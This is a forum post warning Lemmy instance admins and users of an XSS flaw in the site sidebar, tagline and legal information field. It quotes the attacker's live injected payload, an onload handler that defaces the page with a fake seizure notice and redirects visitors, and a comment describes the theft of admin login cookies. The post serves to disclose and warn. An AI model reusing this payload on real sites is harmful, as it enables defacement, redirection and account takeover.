(URGENT) Lemmy has an XSS vulnerability in the sidebar

https://sh.itjust.works/post/923025

(URGENT) Lemmy has an XSS vulnerability in the tagline, the sidebar and in the legal information field - sh.itjust.works

# DO NOT OPEN THE ā€œLEGALā€ PAGE — lemmy.world is a victim of an XSS attack right now and the hacker simply injected a JavaScript redirection into the sidebar. It appears the Lemmy backend does not escape HTML in the main sidebar. Not sure if this is also true for community sidebars. [https://sh.itjust.works/pictrs/image/707c0f16-3d5c-4888-b865-34228d968ee6.png] EDIT: the exploit is also in the tagline that appears on top of the main feed for status updates, like the following one for SDF Chatter: [https://sh.itjust.works/pictrs/image/2dc8838f-4611-4b62-92d2-ab45d7b1c560.png] [https://sh.itjust.works/pictrs/image/9195ec9c-166e-4190-a991-26d218089602.png] EDIT 2: The legal information field also has that exploit, so that when you go to the ā€œLegalā€ page it shows the HTML unescaped, but fortunately (for now) he’s using double-quotes. "legal_information":" ![\" onload=\"if(localStorage.getItem(`h`) != `true`){document.body.innerHTML = `\u003Ch1\u003ESite has been seized by Reddit for copyright infringment\u003C\u002Fh1\u003E`; setTimeout(() =\u003E {window.location.href = `https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F7aa772b7-9416-45d1-805b-36ec21be9f66.mp4`}, 10000)}\"](https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F66ca36df-4ada-47b3-9169-01870d8fb0ac.png \"lw\")

I don’t know too much about lemmy yet, but all of these things (tagline,siudebar and legal info) sound like they should be controlled only by admins, that should be able to add html code anyway (since it their website).
If posted text is not properly ā€œescapedā€ (meaning possible HTML tags and scripts made non-executable), an attacker can inject javascript in a comment which is then loaded and executed on other people’s browsers. It seems that such a method was used to steal log-in cookies from admin’s browsers. The attacker then could log in as the admin and proceed to change stuff in other areas of the site.